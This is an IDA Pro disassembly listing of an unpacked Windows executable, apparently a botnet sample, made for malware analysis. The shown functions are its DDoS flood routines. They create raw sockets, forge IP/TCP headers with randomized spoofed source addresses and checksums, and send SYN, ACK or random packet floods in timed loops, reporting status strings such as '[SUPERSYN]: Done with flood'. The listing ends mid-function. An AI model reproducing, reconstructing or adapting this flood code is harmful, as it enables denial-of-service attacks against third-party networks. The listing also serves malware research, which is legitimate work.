; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 3DF6F02A09D8688B812F5F4AE41BC384 ; File Name : u:\work\3df6f02a09d8688b812f5f4ae41bc384_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000D0000 ( 851968.) ; Section size in file : 000D0000 ( 851968.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE72+3A15o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 nop call near ptr 2610EF3h push eax call sub_417302 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_426050 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D679 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40BF6D push [ebp+var_290] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43AD10 test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43AE3C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43AD78 cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43AD98 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43AD98 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43AD98 mov [ebp+var_12], ax call sub_41730C movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43AD98 push 12345678h mov [ebp+var_14], ax call dword_43AD94 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43AD98 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 26202DBh lea eax, [ebp+var_1C] push eax nop call near ptr 2620000h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417760 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43AD98 mov [ebp+var_14], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43AD98 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43AD94 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43AD98 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2620000h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call dword_43AD2C push eax lea eax, [ebp+var_F4] push offset unk_426088 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call dword_43AE30 pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call dword_43ACF8 mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_C] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40EE72+3C03o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call dword_43AD2C push eax lea eax, [ebp+var_3BC] loc_401493: ; DATA XREF: ___:off_4282ACo push offset unk_426214 push eax call sub_4172B0 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 261095Eh loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43AD78 cmp eax, 0FFFFFFFFh jnz short loc_40155C call dword_43AD2C push eax lea eax, [ebp+var_3BC] push offset unk_4261CC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi call near ptr 261095Eh nop loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push offset unk_42619C push eax call sub_4172B0 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 261095Eh loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43AD98 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43ADD8 mov esi, dword_424058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov byte_436AB8, 45h call dword_43AD98 cmp [ebp+var_2C], edi mov word_436ABA, ax mov word_436ABC, bx mov word_436ABE, di mov byte_436AC0, 80h mov byte_436AC1, bl mov word_436AC2, di jz short loc_401687 call sub_41730C mov ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax push 1 mov dword_436AC4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov dword_436AC4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov dword_436AC8, eax call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_436ACC, dl call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_436ACD, dl call sub_41730C cdq mov ecx, 0F0h push 400h idiv ecx mov word_436ACE, di mov word_436AD2, bx inc edx mov word_436AD0, dx call sub_41730C cdq mov ecx, 0FFh idiv ecx push edx push offset dword_436AD4 call sub_417330 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_436AB8 push [ebp+var_4] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call dword_43AE30 call dword_43AD2C push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42613C lea eax, [ebp+var_3BC] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 261095Eh loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call dword_43AE30 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4260DC push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 261095Eh sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40EE72+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43AD98 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_401954 push 64h call near ptr 26207A4h nop lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] call near ptr 71AB1A6Dh nop add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov edi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40EE72+3906o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_426280 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43AD10 test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43AE3C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43AD78 cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43AD98 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43AD98 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43AD98 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43AD98 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 26202DBh lea eax, [ebp+var_8] push eax nop call near ptr 2620000h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417760 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43AD98 mov [ebp+var_34], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43AD98 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43AD94 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43AD98 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 2620000h mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call dword_43AD2C push eax lea eax, [ebp+var_F4] push offset dword_4262B8 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call dword_43AE30 pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call dword_43ACF8 mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_424058 call edi push eax 